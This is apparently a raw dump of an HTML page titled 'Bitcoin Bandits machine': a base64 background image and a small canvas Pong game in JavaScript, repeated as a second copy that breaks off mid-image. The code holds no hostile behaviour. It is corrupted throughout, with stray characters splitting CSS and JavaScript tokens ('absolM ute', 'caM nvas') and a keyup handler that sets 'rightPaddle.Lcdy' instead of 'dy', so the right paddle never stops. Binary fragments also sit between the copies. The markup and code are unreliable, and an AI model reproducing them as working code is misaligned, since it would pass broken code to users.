<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=caM
nvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop)M
;context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=bM
all.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillM
Rect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.Lcdy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
